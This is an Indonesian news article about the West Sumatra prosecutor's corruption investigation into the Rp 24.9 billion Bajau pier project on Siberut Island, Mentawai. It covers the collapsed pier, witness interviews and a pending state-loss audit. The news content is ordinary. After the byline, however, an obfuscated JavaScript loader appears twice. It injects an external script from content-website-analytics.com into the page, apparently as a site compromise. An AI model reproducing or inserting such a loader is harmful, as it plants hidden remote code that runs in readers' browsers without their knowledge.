Padang, majalahintrust.com – Kejaksaan Tinggi (Kejati) Sumatera Barat sudah menaikkan status penyidikan, dugaan kasus tindak pidana korupsi (tipikor) Dermaga Bajau, Pulau Siberut, Kabupaten Mentawai.
Seperti diketahui, pembangunan Dermaga Pelabuhan Bajau di Kecamatan Siberut Barat Kabupaten Mentawai dilaksanakan tahun 2019-2020 dari Dana APBN Dirjen Perhubungan Laut, Kementerian Perhubungan Laut dengan nilai anggaran Rp 24,9 Miliar.
Kajati Sumbar Muhibuddin melalui Kasi Penkum Mhd Rosyid didampingi Kasi Penyidikan Lexy Fatharany Jumat (6/11/2025) mengatakan, kasus tersebut mulai penyidikan Bidang Pidana Khusus (Pidsus) pada April 2025 lalu.
Saat ini kata Rosyid, perkembangan kasusnya sedang dalam perhitungan kerugian keuangan negara oleh Auditor BPKP Perwakilan Sumbar. Tim penyidik telah memperoleh bukti awal terkait dengan modus ada pekerjaan yang dikerjakan tidak sesuai kontrak, sehingga mengalami roboh/amblas kurang lebih 1,7 meter.
Ia juga menyebut, saksi yang telah diperiksa kurang lebih 20 orang, terdiri dari ASN Dinas Perhubungan dan Kementerian Perhubungan, konsultan perencana, kontraktor pelaksana dan pengawas pekerjaan. Selain itu juga diperiksa beberapa ahli kontruksi
“Untuk memastikan kerugian negara, tim penyidik masih menunggu hasil audit dari BPKP. Sampai sekarang, dermaga tersebut masih belum bisa digunakan,” pungkasnya.(ridho);(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);
